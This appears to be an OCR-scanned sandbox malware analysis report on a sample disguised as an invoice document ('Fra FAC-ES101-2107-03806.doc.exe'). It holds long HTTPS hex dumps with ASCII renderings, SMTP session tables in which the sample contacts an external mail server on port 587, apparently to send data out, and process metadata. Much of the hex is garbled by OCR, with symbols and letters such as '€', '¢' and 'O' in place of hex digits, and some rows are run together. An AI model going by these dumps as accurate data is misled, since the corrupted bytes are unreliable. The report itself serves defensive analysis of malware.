1549 el 45 ad d6 30 f4 8b 11 7b d7 39 cb 26 33 8e b0 9c a6 47 Oe 3f 22 38 8a 7c 30 e2 9e 51 9d 5 76 27 93 b6 56 1e b3
c383ch 620 78 bd 75 94 72 bf 4b f2 c1 €8 13
Data Ascii: OKfYXF?|DH:Vmiv=u| P'ky"j[2b+Lk ]E?\.WeV?X{PT923"-jOU]82EOOW8z8KhIE0{9&3G?"8|0QV'V xurK

2021-10-13 11:06:38 UTC 199 IN Data Raw: c6 d7 45 32 58 4d 17 c1 el 45 4b 2a 66 60 55 d3 6d e3 a5 ab 48 58 52 40 b7 88 d0 82 98 14 dc dc 87 97 18 e8
95 9a 1b 44 d9 Ob 55 5b b6 b9 49 dd 51 38 08 f9 43 65 ef 71 37 08 f3 82 56 37 2c el 74 9a 2e 52 f4 5e 47 c0 8d 2c 7a d5
e9 dc f3 5d ff f7 cd ce 56 07 ¢3 c2 e2 3d 8f 30 3f d6 5b b4 82 3f 81 18 da c8 50 aa €9 2f ee 10 a2 4b b6 49 88 0d 4a 61 09
5e 44 ca 5e f5 a9 b1 02 20 ca c7 d5 31 88 60 d9 Oa 4a 6e aa 1c 54 bf 7a 5e 07 9e 83 10 17 5e f3 c0 29 al 50 83 f9 05 bd
497919 cb bl a6 03 8b 78 el c3 5 36 65 5f 96 ¢5 7f dd f3 e2 36 Oc 8f d4 78 16 97 Of b9 50 b0 fa ef Of e0 51 ef 9f c6 2b 6d
99 14 9f 3e cc 66 a4 d8 2e fb 91 91 de 84 bf 8b 21 60 a4 58 1b 33 €8 bb 94 0a 7f 1f e0 Ob 6a 59 2b 9d 82 d9 f3 el {7 61 54
39 fe 2d fc f8 b1 ed 21 e6 de cf 92 31 2a 4c
Data Ascii: E2XMEK*f'UmHXR@DU[IQ8Ceq7V7,t.R*G,z]V=0?[?P/KIJa*D" 1'InTz ")Plyx6e_6xPQ+m>f."X3jY+aT9-!1*L

2021-10-13 11:06:38 UTC 201 IN Data Raw: d1 19 84 84 9e 48 91 dc 47 d9 dd e4 76 bc fb fe 9c f2 2b 09 53 a2 42 74 98 86 34 37 e2 40 df f9 af 53 16 00 58
c0 b9 57 a5 5d 6e 82 7b 94 38 e9 ff d5 5e b0 c0 49 39 46 db 47 1d be 70 2d 12 ff d2 a9 db a7 bc f4 10 20 06 14 aa 82 6¢
b9 9e b4 73 a6 46 b3 €9 cc c4 ed d9 eb c6 26 00 6a 9b 68 a3 2c bf 2f 27 2d d2 fO 1d e8 b6 65 b3 2d b8 ea 06 13 cf 65 37
Ob cf 7b e9 dd f9 ac 79 8b ec cb b8 a2 2e €9 e5 4c 70 eb 62 10 09 33 be al 69 76 df 4d 25 3b 8a 8e cc ed a9 08 51 1a d6
07 7d 7b 7c 2d f1 b8 6¢ da 56 a3 8e fb 36 a5 6f cf 2f 2f ee dc €5 12 51 36 4e d4 72 49 6¢ 16 03 78 7d 9b fc 5a 1f 58 1c ee
95 d4 d2 f0 08 3c €7 96 04 0d e3 5¢ 52 4e 91 ¢6 53 7c 69 4b 39 d4 06 d3 b5 b8 2a 10 09 c9 f3 f1 3b fd a8 76 b3 53 e4 46
da 92 78 49 ef b5 12 d3 88 ca 38 e6 c7 Oc 19 4f eb
Data Ascii: HGv+SBt47@SXW]n{8"9FGp- IsF&jh,/'-e-e7{y.Lpb3ivM%,;Q}X|-IV60//QBNTrIIX}ZX<\RNS|iK9*;vSFxI80

2021-10-13 11:06:38 UTC 202 IN Data Raw: 31 d9 7a Of de 79 bb 28 86 6d 8c f5 83 51 9e 3d d9 39 1a 76 d6 f2 58 41 b0 d7 b3 2f 05 5d fc 5a 37 8¢ 84 36 85
cc e5da d9 4b 81 60 f5 9d f5 e6 db d0 ec 49 1f aa 96 b5 b9 fd c3 51 2e ¢3 7f 05 3b bl ef 9b b5 73 a8 96 70 66 ce 3a b0 d4
ce 44 35 47 41 36 ce 8c 63 65 30 64 77 4e c2 71 f8 ae ab 5f 44 47 55 a7 89 8a 9d b6 56 ea d6 ab 93 1e ff 8f 8b 07 5f d2
Ob 76 5b a0 93 6f ca 44 26 29 f3 46 75 e3 70 18 7c €0 95 4b 0a 15 fa 72 fb 17 42 dc 42 28 e6 84 1c 61 dc e8 f0 fe 4f f9 ea
ce ee 56 1a de c5 80 2c 9e 26 4b f9 59 b4 91 25 af 02 ae dd 5¢ bc ¢3 1a €8 73 8e 51 b5 4d a2 Oe 45 73 09 56 5f ea 5a ed
al a6 0d 54 d0 cd cf 1d 88 77 ce 17 56 62 ab 2b 5e d1 54 56 Oe 8f 9d 14 33 45 {3 cd 4c b5 46 b4 c9 35 a6 52 6d 04 c0 b2
b4 14 89 63 f1 e8 f9 16 6f 41 84 c5 77 c6 f2 c2
Data Ascii: 1zy(mQ=9vXA/]Z76K’IQ.;spf:D5GA6ce0dwNq_DGUV_v[oD&)Fup|KrBB(aOV,&KY%\sQMESV_ZTw
Vb+"TV3ELF5RMcoAw

2021-10-13 11:06:38 UTC 203 IN Data Raw: 56 8e 8e 27 e7 l1a ce 3b a3 c0 22 62 b3 85 08 1f 1b d1 b4 eb 5a 37 fe 54 31 d5 9f ec ba 71 a2 f3 24 3b 59 d7 e2
3a 42 cb 6f 33 ad ab Oe 44 4c a4 93 fe de 76 79 5a 97 f0 4c 63 96 98 ee a3 ba db 2c 86 a0 0f 0a e4 c5 el 50 7b 94 10 42
c7 6d a8 f5 db 63 84 af 56 c1 a9 cb 07 ef c7 ee ee e7 29 5e 58 a7 2a 17 8e e3 24 19 af 4a c0 8d al 22 54 Oe 29 83 92 25
el 77 1cc7 56 e6 7e c5 8d 92 71 c2 88 67 4b 27 fa 35 7f b0 15 3a 24 a6 d3 al a9 c2 96 98 13 28 74 73 97 ed 7f a5 8d 92
1c b1 5b b3 e5 ¢l d7 d7 c5 fb 95 16 02 62 €9 4b bd 43 8e 06 4f 08 ca fO 3f e7 c2 7c b8 5b 9e f4 67 29 a5 16 33 15 90 78 5
bc ee a7 Ob ef e4 b9 dd ab 5¢ 8f eb 3e 17 c2 07 20 62 60 89 b8 Oc 53 d9 1f 05 31 ee ad d5 ed ac Oa 3f 33 cf 7e 4e 75 1d
2b ff ca 2d fa 67 8c dc fb 25 b0 73 d9 21 1f e0 ae
Data Ascii: V';"bZ7T1q$;Y:Bo3DLvyZLc,P{BmcV) X*$J"T)%wV~qgK'5:$(ts[pbKCO?|[g)3x\> b*S1?3~Nu+-g%s!

2021-10-13 11:06:38 UTC 205 IN Data Raw: a8 e8 92 c7 66 08 aa 43 38 96 b7 26 50 ae cb 8 52 6¢ 2e b9 e8 82 3c 19 cc df 4e fd 87 ee 1a dd 7d 82 26 26 c6
14 ¢4 80 43 82 d5 bd 10 6a fe 5b 9d a6 c6 ea 80 b4 ac 56 04 39 Oe ec 5b a2 e7 6a c9 40 3a 0d d3 7b df bl cf 07 cb 98 76
3d cc 65 08 bd 56 a7 41 a5 04 88 2 98 7d be 08 fb 72 3e 6¢ cc e8 57 2d 95 d3 b4 19 30 16 cd 46 33 93 83 5a 93 db c2 €0
fd 58 9a 70 f9 81 9b b5 f0 d7 4 6b 17 f0 92 a5 a5 fa c3 53 25 ed 5b Of 22 9e 0 92 a2 72 92 9c 6¢ 10 d4 3¢ al 8 b8 6¢ 2e
57 5a 36 d3 €3 46 7e 70 44 7b 4f ¢4 79 fb 82 ca 7f 54 57 Of 8f 9d {7 b 8b Oe cO da a3 90 6¢ dd 99 8¢ 27 5e cf 7f 70 50 b7
a9 5d ba 53 2f 34 cf 64 69 3 73 12 32 €8 94 5a 26 59 d8 70 ee 00 43 d6 5f 28 f2 98 1b 51 dO {7 dc f3 5d {9 ea ca ea 51 73
d6 ce 4 17 ab 27 50 €0 52 a7 91 25 a5 1f ae
Data Ascii: fC8&PRI.<N}&&Cj[VI[@:{v=eVA}r>IW-0F3ZXpkS%['rl<|. WZ6F~pD{Oy TWI\pP]S/4dis2Z&YpC_(QIQs'PR%

2021-10-13 11:06:38 UTC 206 IN Data Raw: 13 7b 60 dd 60 de 79 87 ab af 3f 7a e6 60 4b f9 bf ab 2d 43 19 ba 90 54 5b 45 51 28 c4 f4 cc 77 d7 2e 26 c7 f5
4f 62 fd d0 07 81 50 el fc f2 55 85 ec f8 96 d3 88 f2 d2 63 15 69 78 4a a2 bl b7 8 fb 52 e4 ba c0 f5 af 8e fb 92 e4 4f 70 94
8c 42 e6 1le ce 01 b6 €9 38 61 c7 ac 6d Oa 11 a5 a9 da 2e 00 ef 37 1d c8 fa c7 be 02 e4 f0 41 08 76 96 d8 2d 37 e4 63 29
b4 b9 7e 23 4b a0 cc d8 d6 1f 6e 5e e4 a3 41 74 81 89 97 b6 ca bc 2e 82 ff 03 1d f2 ¢3 91 23 5¢ 91 4f 4a d3 14 9f 84 99
52 5 ec 64 b0 ed 8 76 aa fb 9f a8 f2 58 19 4e d6 62 00 ff a0 2f 06 cc 4e c5 8d 86 23 24 Oc 36 e7 96 38 93 59 Of b3 12 dd
13 e1 98 f7 71 df fa 4d 58 53 b2 20 1a a3 2f 00 Oe 92 d4 a5 a9 84 ba 86 1b 28 72 73 al f6 3c 9e 99 82 68 87 53 a2 f4 a2
e2 dcd3 cd a4 19 17 60 ef 2a 88 42 98 Oa 45
Data Ascii: {"'y?z K-CT[EQ(W.&ObPUcixJROpB8am.7Av-7c)~#Kn At AOIJRdVXNb/N#$68YMXS /(rs<hS™*BE

2021-10-13 11:06:38 UTC 207 IN Data Raw: c4 2e 6f 1d 76 61 13 6b ec 19 f1 d7 96 76 7d 05 d6 fa da b7 f3 3e Oa dc 4d bc ¢7 05 fd 95 Ob 7f c2 28 cb 00 26
8a 8a a2 b0 69 01 36 05 2e bc 69 5d dO ec 5f 8¢ e4 68 1b 8d 8d 57 13 a4 b7 aa cf ef 1a 31 b4 7e 85 5f 8a 4d e9 da 9d 3a
e3 dd b6 d2 72 15 c9 65 29 8b 8f 21 6d af d6 f9 6f 6a 33 be e8 82 31 f8 dd db 4e ba bb fc 37 ¢6 7a 9b 26 70 f7 6¢ d4 91 41
93 dd bf 17 57 fc 6a 84 al d1 ea 8b cO ff 4c 18 23 1f e4 0d 84 92 46 c8 29 14 1d fd 76 c4 c5 ef 00 a4 ae 50 58 f9 66 61 96
46 d4 20 9d 6d 89 e5 {7 6d a4 6e eb 29 68 60 ca 9d 50 34 d7 d5 b2 70 11 4e 8e 6a 28 e3 ae 40 f6 ec e7 85 ¢9 58 f3 54 ea
f2.d3 90 89 c5 f6 Oe 18 a8 c0 b3 bd 8e ce 48 40 a6 6e 60 29 98 99 99 b1 00 83 8e 1e 25 ca 5f 80 fc b8 64 30 34 6e 2e a0
ch 57 0a 16 65 12 5d c6 18 f5 b7 ab 6f 4a 34 45
Data Ascii: .ovakv}>M(&i6.i]_hW1~_M:re)!moj31N7z&plAW|L#F)vPXfaF mmn)h'P4pNj(@XTH@n")%_d04n.We]oJ4E
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 208 IN Data Raw: ad 34 fd b5 ad 19 bf 3c a0 36 35 1f 8e de bd 67 fc e7 67 58 14 f5 5a eb 4d a8 25 d1 98 4b 82 eb f9 bc fO cb ee
21 30 c5 2f 5a5c a8 c7 €8 73 07 5e 9e 32 61 64 2¢ 85 86 d0 92 c7 e7 07 11 64 bd 78 91 a7 f2 ad 40 92 b3 ac fb 5d 43 3f
67 0b 22 b7 04 bf 10 f4 de ba 5e 07 93 2d 30 97 de d0 5e 2f 6d da d4 03 2f 35 30 55 b1 95 d8 16 a7 48 61 b2 82 2e 14 84
a3 6b e5 12 9b 9f 94 22 e9 9e ea c4 b0 e9 bf be 07 6a 0d 17 2b d6 d5 e2 8d 9c 33 8d c6 b7 d5 9 fc 8e fa 90 Oa Oc ed e4
20 96 6d b2 6¢c e4 88 4d 1f bb da 6a 6f 66 fO fe 9f 5a 74 9¢c 75 70 a2 9d bb de 79 e0 83 24 6e 3d d3 a2 4a 50 85 02 67 c1
cb 70 54 2f d4 98 dO d7 58 5e 45 fa d3 55 72 96 9a ee c5 ce d3 4b e4 a8 5b 79 8b be dc 29 17 a4 60 71 da 04 8f e5 af 4f
9a c1 10 b0 ad 84 76 fd ae 93 ef 86 5f 13 43 f8 7f 07
Data Ascii: 4<65ggXZM%K!0/Z\s"2ad,dx@]C?g"-0"/m/50UHa.k"j+3 mIMjofZtupy$n=JPgpT/X"EUrK[y) qOv_C

2021-10-13 11:06:38 UTC 210 IN Data Raw: 93 f6 70 78 8c ec 13 bb 79 68 el 2a 60 c1 8b 1b 71 39 fb dc €2 99 94 88 e7 08 8e f4 6a 63 88 3f 56 1c f1 26 7c
0Oa 0Of 24 59 38 69 b8 fa d9 40 02 ec e3 f9 90 7e 89 ea 27 53 78 bf 23 be eb f9 12 96 34 14 b4 a8 ae 5c 83 19 3e 6a al d9
al af 73 7e 20 07 5¢ 1c 14 b8 e3 05 ca 17 88 29 bf f4 8f d3 81 4d 0a 8¢ 29 c1 bl c5 f4 ff 4f 1b bb 54 d5 41 52 f0 ee dd f4
2b 6d 5a 59 40 c3 1b 53 89 90 34 €9 00 10 6a ef df 32 69 d1 ab dd a8 9f 45 79 db Oc e5 2d de 3a 10 db 98 5d 87 b4 e7 b9
00 66 cc 2c 42 ee 59 71 le c5
Data Ascii: pxyh*'q9jc?V&|$Y8i@~'Sx#4\>js~ \)M)OTAR+mMZY @S4j2iEy-:]f,BYq

2021-10-13 11:06:38 UTC 210 IN Data Raw: b1 8b 1b 0f 59 4b €9 d4 45 88 a4 a6 3f d7 d5 9a 7a b5 10 8 42 1a ea 6f a0 e4 3d f2 9c d3 7c 37 89 2e e2 d3
b7 0e 72 a8 ed 46 6b 50 77 9¢ 69 ed 90 19 al 39 57 6f el 2e a3 f0 a4 68 b8 f5 2b 45 ac 26 7c dc 37 d4 40 e2 71 fa 90 ff
12 cd 7c ba 52 75 19 a2 93 2b 53 e2 af c5 72 43 38 86 28 42 f1 df 38 eb b5 8¢ 8b 92 3c ¢6 11 9e f8 9c €5 9b 25 01 1c fa Ob
d2 b9 cd 8e a8 3f 5d c6 16 79 48 €2 85 e2 d2 12 40 74 1f 78 bd 43 d8 97 a5 3d 5a 28 35 45 bd 8e 3e 0a 56 15 07 2e 30 95
96 de ab 09 1d 3532 c2 ec a2 f4 fb 79 al aa c6 eb 6¢c 99 e0 e4 73 2c al 05 17 3e d7 dO 32 a6 36 4e 40 91 25 1d 8c Of 77
7d 99 f0 23 52 4¢ 87 90 Ob 62 35 b3 2a 28 b6 ff 73 09 bb 94 a9 91 28 83 8a 22 02 23 6d b1 be 92 c9 76 54 21 90 b7 75 e2
0f ce 79 bc 3b a0 c9 89 49 0a 54 e2 2a d5 3b ef 6f 37
Data Ascii: YKE?zBo=|7.rFkPwi9Wo.h+E&|7@q|Ru+SrC8(B8<%?]yH@txC=Z(5E>V.052yls,>26N@%w}#RLb5*(s("#mvT!
uy;IT*07

2021-10-13 11:06:38 UTC 211 IN Data Raw: 39 81 5a f4 49 17 6¢ da 77 31 21 00 21 50 b5 9a c9 18 ba 56 79 b7 8d 27 0f 94 ac 76 ec 11 11 a8 85 33 97 9f f8
el b5 fc ad a6 Of 7f 1c 09 2e cb d1 ef 82 96 24 81 cc b6 fb f1 ea 8e ff 8d Of 10 e6 e6 24 85 ff 26 66 €8 95 4a 03 ae da 70
68 69 d4 eb 9e 54 68 92 49 70 b7 1d bc d8 f3 f5 9e 27 61 35 ca b6 57 40 8b 00 44 c5 ea 7f 4a 33 d7 91 80 ab 70 1d 28 8b
bf 32 33 f5 e8 ec d8 cf d5 45 f1 a7 4b 65 8e ad 94 58 31 e5 12 1c b3 70 €9 99 de 7e f2 85 05 a2 2b 85 74 el 81 8a fc 04
51 5¢ 34 d8 22 7c e2 e6 5d 6d al 32 b4 85 cf 4e 51 75 44 91 52 76 €9 29 6b da 17 89 7b 88 7 8f 32 a2 0a 35 24 22 bc 5a
7a c5f2 43 69 7d bb dd de df d0 e9 73 54 03 7d cd 9f 39 df 6e fd 01 fO 2f c4 9d a7 b1 3a a2 9f ¢3 7d 60 6a 9c Oa cb 2d ef
45 34 68 b5 f0 5a 97 a4 al d0 2f f1 8e 1b 5e b8
Data Ascii: 9ZIlw1!!PVy'v3.$$&fIphiThip'a5W@DJ3p(23EKeX1p~+tQ\4"[Im2NQuDRV)k{25$"ZzCi}sT}9n/:} j-E4hZ/"

2021-10-13 11:06:38 UTC 212 IN Data Raw: 03 75 a9 56 87 d0 85 44 04 80 26 c0 ad 4a 9f ec 4e 98 Ob 5e c5 4f 5e e7 el c7 f4 28 78 48 d3 e6 c6 Oe 5d 94 9f
31 ed 93 ab da e3 d7 3c 60 fO b7 d8 bb 19 f4 7a ¢9 10 f3 2c d9 3d 80 2c 2c 7f 88 a7 ea b0 08 73 48 17 5e 7f 3c 52 04 c1
b7 9b 29 8d 42 c8 e6 df 4b 84 a5 b4 2d dd c0 8a f6 18 16 el 4d 00 9e 62 ae e2 36 f8 b2 dc 6¢ 50 86 27 ed cf a6 8e fd ba f1
3d 70 48 7e 93 f4 69 93 Oa a0 27 45 ea 48 20 d8 d7 2b d4 a2 c8 24 4a 3c aa 6f db 13 d4 53 6a dO ed b0 6 1c 53 af 87 59
68 04 a2 93 38 4e d0 b4 d2 62 d2 al 8f 27 43 ed e4 3e eb a7 99 a8 88 3e €6 01 1d 6b 9a f4 08 e4 95 1c fb 47 c1 de de 9c
2b a7 41 d1 99 20 41 e0 97 ec 47 a0 cf eb 77 6e a0 5a d6 Oa f8 33 2e 3¢ 35 57 a8 86 20 09 4f 90 db 20 a0 9a 5a dc ae 2c
3d 26 al 53 e9 a4 d7 ec 6a 28 20 c7 f1 ed da f2 f6
Data Ascii: uVD&IN"ON(xH]1<'z,=,,sH"<R)BK-Mb6IP'=pH~i'EH +$J<0SjSYh8Nb'C>>kG+A AGwnZ3.<5W O Z,=&Sj(

2021-10-13 11:06:38 UTC 214 IN Data Raw: 91 39 8a e3 a3 d1 2b f4 74 f9 cd ed 01 f0 99 49 8e f7 ff b6 ff d6 eb 3d 22 47 Ob 66 4c cO d4 e3 76 1a 43 88 62
1a 39 69 ea e4 3e c6 ae 87 12 25 5¢ 94 4e a2 92 c0 80 5c¢ 8f ab b0 f9 55 4d 38 67 1f 2c bd 30 a3 01 ef c5 al 51 0d a7 39
18 92 d9 cb 51 32 65 ¢8 f1 19 2c 2e 3f 48 b8 8f 8 17 aa 4f 6b 32 09 23 00 10 f1 66 f6 81 0a 98 93 bl bl 91 e4 eb b8 f4 b0
a3 08 6a 98 14 37 de c9 e9 96 82 3d 93 4f f3 7 90 e7 93 fd 8d 16 03 fd fc 3b 89 7d bd 64 e2 9a cf b4 bd d1 45 6a 65 c4
e4 1a c3 75 9c d5 35 b0 8d 28 53 70 f6 02 64 74 35 d9 b6 44 4c 9b 84 42 ce d8 ff 04 26 dc 81 f4 bc 7 be 22 9f a8 20 00 fd
€6 e0 cb c2 d3 5a 74 ed 40 78 88 b8 9f 5e 28 67 5d 07 b6 6e e2 8a d3 2e f1 af 11 b3 al 88 76 ee 81 9c e6 86 5¢ 5f 2a d8
22 7c f1 eb 47 6e a7 21 bf 85 cf 5b 43 6e 53 96
Data Ascii: 9+tI="GfLvCb9i>%\N\UM8g,0Q9Q2e,.?HOk2#{j7=0;}dEjeu5(Spdt5DLB&" Zt@x"(g]n.V\_*"|Gn![CnS

2021-10-13 11:06:38 UTC 215 IN Data Raw: Od Oe 6e 2c 6e 8f €9 a4 9c 84 6e 40 83 c9 60 7f 88 3f 5a 12 fe af 35 12 07 2c 43 ab 2d b7 d2 d3 5c 18 68 a2 f1
94 50 87 de 32 c0 28 a5 a2 26 f8 6a ae c4 bb 7b ad 9a 2c c4 93 8a e6 3b 2e 8e be 33 2c 7a 1d 01 55 13 91 70 f4 8c fd 84
49 72 d2 dc 86 d8 8c 42 04 80 26 d3 ab 4a 99 f1 44 1d b6 40 d9 c3 63 f4 f2 c9 c9 2d 70 5f 43 c9 41 00 58 9a 9b 24 7a 9c
34 72 f3 b0 35 6b d2 ab d0 af 86 40 69 dd 18 ee 25 ¢3 2b 83 2c 1c 73 9b ac f0 34 33 73 a0 27 6¢ ff ca cb 3a c1 99 8b 33
12 4e c2 e0 cc 46 82 bd 9a 22 d2 c8 98 70 ae 16 {3 4b Oc 83 6d bb eb 1c f1 b6 c7 6¢ b8 02 28 f9 4e e5 9d 97 ba ea 3d f6
d4 6a 93 f4 b0 9c Oa af a8 17 66 €8 23 33 74 a8 7b bl fa a7 51 bc 1d 6f cb 22 56 fO ea 63 5 99 f0 Ob df 7c Oe c1 60 0d b7
9b 16 40 c5 33 5a 73 59 3f 88 21 43 e6 f7 33 f8 al
Data Ascii: n,nn@’?25,C-\hP2(&j{,;.3,zUpIrB&ID@c-p_CAX$z4r5k@i%+,543s'1:3NF"pKmI(N=jf#3t{Qo"Vc| @3ZsY?!C3

2021-10-13 11:06:38 UTC 216 IN Data Raw: 13 71 b1 b2 9¢ 3e 99 ¢8 c9 67 52 a3 a8 bb 46 ce 14 ad 78 27 €3 dc 68 31 bb 34 2e €9 66 eb 35 47 2c 9c a7 4c
d0 23 c0 92 77 cb 3c 09 69 ae c5 5 77 ee 03 84 86 8d 51 fO 2f e2 ac 14 b3 8f a3 42 7c fd 4d 1a 63 el 6¢ be 00 d3 9d 83
68 9f 29 03 5a b7 54 33 e7 fa 43 4a aa 01 d8 91 52 87 e7 d8 bd f9 c3 3 26 3a c7 20 72 56 b5 d4 e3 63 Oe 56 9c 7a 38 32
43 e0 fe b8 d3 b2 80 05 27 57 96 43 b4 9f d4 95 45 b2 b5 a6 f3 55 56 3f 71 15 37 a7 18 a7 14 f9 c4 a5 50 17 95 2e bb 11
dO cd 44 3f 68 e8 f4 05 22 29 22 4f b8 96 4f 91 a3 d9 f8 b8 90 20 03 12 30 62 67 81 82 1a 00 36 f1 e f0 f4 35 7d a9 a0 17
fb 98 12 2b d7 df f6 09 1f 2a 81 cc al 77 fc fd Oc fb 82 88 1b e5 fc 36 14 d3 bc 64 el 8f 5¢ 8e 32 db 6d 6¢ 7f cd ef 9c 4e 76
85 48 7d ad 82 b8 4a d5 ec 9f 2e 60 23 dd b6 42
Data Ascii: g>gRFx'h14.f5G,L#w<iwQ/B|Mclh)ZT3CJR&: rVcVz82C'WCEUV?q7P.D?h")"O0 0bg65}+*w6d\2mINVH}. #B

2021-10-13 11:06:38 UTC 217 IN Data Raw: 6a 51 64 de 99 7a cf 1a 22 6b 6f 53 d9 5d 2c 26 86 8f 4e 05 01 86 5¢ 73 b3 04 c2 6e 30 a6 cd 84 42 Oa 2c ab
ed ed 71 d1 b6 af 87 9 01 fc b6 98 b0 2a ab 3d 4d 01 aa d7 38 08 8d 4a 5e 05 30 93 f7 cd 67 03 bb 04 3d 22 6b €0 ff 75
df ae 3e 63 ab 96 90 67 51 9a 8b e6 88 9a 55 51 6¢ 88 30 50 08 63 4b 2f 8f €3 36 4c b5 59 bl d4 d3 4f 0d 63 ac fd 95 56
9419 3d cf 33 be 03 bb 8 69 af 6¢ bb 7b b6 80 aa 5b 9b 91 6f 71 28 88 98 29 30 7a 15 16 dc 97 95 7f 71 68 fa 17 88 f9 ba
c6 Oe 3e 8c 40 03 9c a9 a8 al 43 96 f3 56 13 bd 55 da c0 6f f3 fd 4c 38 2e 6d 58 56 56 c1 15 57 a7 9e 23 ea 00 b0 76 f3
59 de 67 d7 b0 cf a4 99 59 65 c6 0d fc 30 dc 2f 91 ac 9¢ 73 97 28 db b0 2a 63 cb 30 cc 13 d6 41 23 c9 bb 9c bb €3 59 4a
3d dd 42 8c a5 bf 29 d1 c7 1b al b4 11 e7 44 28 81 66
Data Ascii: jQdz"koS],&N\sn0B,q*=M8J"0g="ku>cgQUQIOPcK/6LYOcV=3il{[oq()0zgh>@CVUoL8.mXVVW#vYgYe0/s(*
cOA#YJ=B)D(f

2021-10-13 11:06:38 UTC 219 IN Data Raw: f7 31 ae 8a 19 35 f4 cd 2f af 26 cb d9 91 35 80 82 3c 71 73 95 71 a2 5b 4b 14 8¢ 9f 66 2e al ad 20 a4 7c 6b 1d
a4 80 b1 8d 2c 9e 85 a6 9a 332 14 aa 92 c9 f3 52 1f 92 25 54 78 42 dc 6b 8e b8 2b 49 01 53 83 18 f4 35 5a 9c €0 73 aa
1d 65 19 2a 89 ba 9d c2 el 63 41 b1 29 22 43 db 95 a5 7c 25 le 5d 55 3a 9f 36 3e 7b 78 d2 68 42 31 99 ab 46 d5 25 c8
8b 72 d2 39 01 65 a6 d6 ff 76 e2 06 94 87 8f 4b 00 3f fc ac Oe b3 86 83 40 65 f8 b5 14 6f 90 6a d1 02 b4 96 b3 6e b3 38
bl f6 a4 55 20 eb 7f f6 49 b1 19 d8 91 47 93 fe e4 al f3 c3 e6 3d 2d d9 22 7e 5e a8 cc fa 6e 26 5f 89 7a 1a 20 4e e0 ea al
6 ae 9e 12 3c 4d 8f 55 a3 8a d9 95 44 94 a5 29 fa 58 43 38 73 9a 31 a9 02 af 01 f6 ca c6 46 3f 91 22 3d 8d dd d8 49 2a
69 c2 f2 02 34 25 3f 48 be 8f c4 18 b8 5a 7a b6 9e 33
Data Ascii: 15/&5<qgsq[Kf. |k,3R%TxBk+IS5Zse*cA)"C|%)]U:6>{xhB1F%r9evK?@eojn8U IG=-"~"n&_z N<MUD)XC8s1
F?"=1*i4%?HZz3
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kBytes

Timestamp transferred Direction
2021-10-13 11:06:38 UTC 220 IN
2021-10-13 11:06:38 UTC 221 IN
SMTP Packets

Source
Timestamp Port
Oct 13, 2021 13:08:14.545202971 CEST 587
Oct 13, 2021 13:08:14.545799017 CEST 49768
Oct 13, 2021 13:08:14.596400023 CEST 587
Oct 13, 2021 13:08:14.596693039 CEST 49768
Oct 13, 2021 13:08:14.649461031 CEST 587

Code Manipulations

Statistics

Behavior

\E’ Click to jump to process

System Behavior

Data

Data Raw: d0 57 el 34 6e c7 12 94 7e 80 ff 92 37 b0 88 20 39 27 b2 47 7f d7 70 4e 7b ff b6 cO db c2 d5 f4 76 49 06 73 c3
82 3c cd ec el 1c f5 32 ¢1 80 a2 a3 b8 b7 82 c6 73 72 03 9b 2a c9 2c fc 45 27 69 b8 f0 58 82 b6 23 d9 2d ff 80 06 5b a5
6556 61 cf 19 83 dd 9a c6 79 ef 86 cb dd c8 2e 8f 8f 4c 17 81 62 52 60 33 ed ca 69 32 94 4d 60 d0 92 c8 a7 ed d6 63 51
d2 bd 07 1c 10 7c 4f 9a b8 2d a9 2f cd ed b8 56 ¢9 02 ad 4e 4c d5 dc 82 f7 25 69 0d b5 02 3a 20 79 60 13 7d cf 8e 3b 70
2b 7b 81 e7 b9 fc 99 66 dd 8b d4 68 62 80 37 52 1a e3 a7 3d Of Of 24 4a b9 44 bf da db c1 10 6d a2 f3 96 5e 89 7 35 d2
3d b7 23 bf f9 78 2f 85 b5 75 b8 88 ad cd 92 98 67 db a0 83 b0 9a 20 72 00 04 5d Oe 94 6d f1 84 ef 5d 8a 63 bb 3e 8f d2
8b 4a Oa 8e 28 dd a3 44 91 4d 5d 2e ba 5c cb 17 56 a9

Data Ascii: WAn~7 9'GpN{vis<2sr* E'iX#-[eVay.LbR 3i2M cQ|O-/VNL%i: y };p+{fhb7R=$IDm"5=#x/ug rjm]c>J(DM].\\V

Data Raw: e9 e0 ec 5b 87 7a f3 9c d7 83 ff c1 ec 2e 16 bb b6 b5 a7 b3 88 5f 33 8a 76 16 20 85 fc 8c e5 20 b4 90 5f 05 de
3a b7 f8 85 03 21 55 44 2a c5 ae 0f 34 53 18 32 1c 91 38 b7 e0 97 23 4f 51 50 b7 81 d7 a0 9c 1c f9 cb af 95 05 f6 99 9f Ob
43 82 06 1b 1e f4 ec Oe 86 1b 39 25 f3 52 73 e3 6b 0f 42 8a fa 1f 75 65 ba 65 e8 16 58 c7 65 46 d3 92 51 18 b3 b9 96 f1
5a eb fd ce ed 4e Oa 8f a6 8a 48 fb 55 3f 90 37 d5 e5 4c c0 6¢ ae ba 39 ¢8 9¢ 5b 8b 10 el 24 db 39 el 61 2b 15 60 31 2a
98 3b 99 c8 c9 63 54 a3 a8 bb 42 ¢9 14 ad 78 23 Oc df 68 31 bf 32 3f 69 fa ef 75 47 2c 9c a3 4c d2 23 c0 96 77 cf 3c 09 6d
ae d5 f5 77 ea Oc 84 86 8d 55 00 2f e2 ac 10 b3 80 a3 42 78 fd bd 1a 63 e3 6a b9 02 d5 96 86 6e 82 38 83 f6 b2 52 2e f6
7a eb 4c ad 05 d0 99 5a 8f e3 8 bc f1 cb ee 21

Data Ascii: [z._3v _:!UD*4S28#0QPC9%RskBueeXeFQZNHU?7LI9[$9a+ 1*,cTBx#h12?iuG,L#w<mwU/Bxcjn8R.zLZ!

Dest

Port Source IP Dest IP Commands

49768 192.168.11.20 220-iberweb-11a.ibername.com ESMTP Exim 4.94.2 #2 Wed, 13 Oct 2021
12:08:13 +0100
220-We do not authorize the use of this system to transport unsolicited,

220 and/or bulk e-mail.

188.93.227.195

192.168.11.20 188.93.227.195 EHLO 210979

49768 188.93.227.195 192.168.11.20 250-iberweb-11a.ibername.com Hello 210979 [102.129.143.96]
250-SIZE 52428800

250-8BITMIME

250-PIPELINING

250-PIPE_CONNECT

250-AUTH PLAIN LOGIN

250-STARTTLS

250 HELP

587 192.168.11.20 188.93.227.195 STARTTLS

49768  188.93.227.195 192.168.11.20 220 TLS go ahead

Analysis Process: Fra FAC-ES101-2107-03806.doc.exe PID: 8172 Parent PID: 9052

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

Copyright Joe Security LLC 2021

13:05:40

13/10/2021

C:\Users\user\Desktop\Fra FAC-ES101-2107-03806.doc.exe
